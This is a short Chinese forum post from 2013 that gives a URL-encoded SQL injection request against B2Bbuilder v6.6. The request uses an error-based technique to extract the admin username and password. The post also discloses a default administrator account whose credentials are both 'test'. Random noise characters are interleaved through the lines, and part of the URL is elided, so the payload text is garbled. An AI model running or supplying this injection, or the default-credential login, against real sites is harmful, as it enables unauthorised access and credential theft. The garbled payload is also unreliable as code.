测试的程序版本为：B2Bbuilder_v6.6. Z1 p3 [8 y7 H2 C i
2 \8 c% |) ]: X 0 W2 X, C5 Q# J. a- ?; M
http://www.site.com/?m=offer& ... m%28select+count%28*%29%2Cconcat%28%288 N( b* L) b' T7 T
select+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user,0x27,password
$ N' x3 l, {2 ]( ^- V+ l%2C0x27%2C0x7e%29+from+%60b2bbuilder%60.b2bbuilder_admin+Order+by+user+limit+0%2C1
$ ]' ?# @ M) c+ H%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29
' j) b8 p- ?" r1 A" \( P*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D1
2 s, B5 ^# l: w( Z) N+ `8 `( D0 n% b m' H' ~* L- ` d4 K- I
这个B2B程序还有一个默认的管理员帐号，帐号密码都是test; B. a: R$ q- }! F
1 L' N: q3 N5 b0 z. {0 v |
发表于 2013-7-26 12:44:48
收藏
支持
反对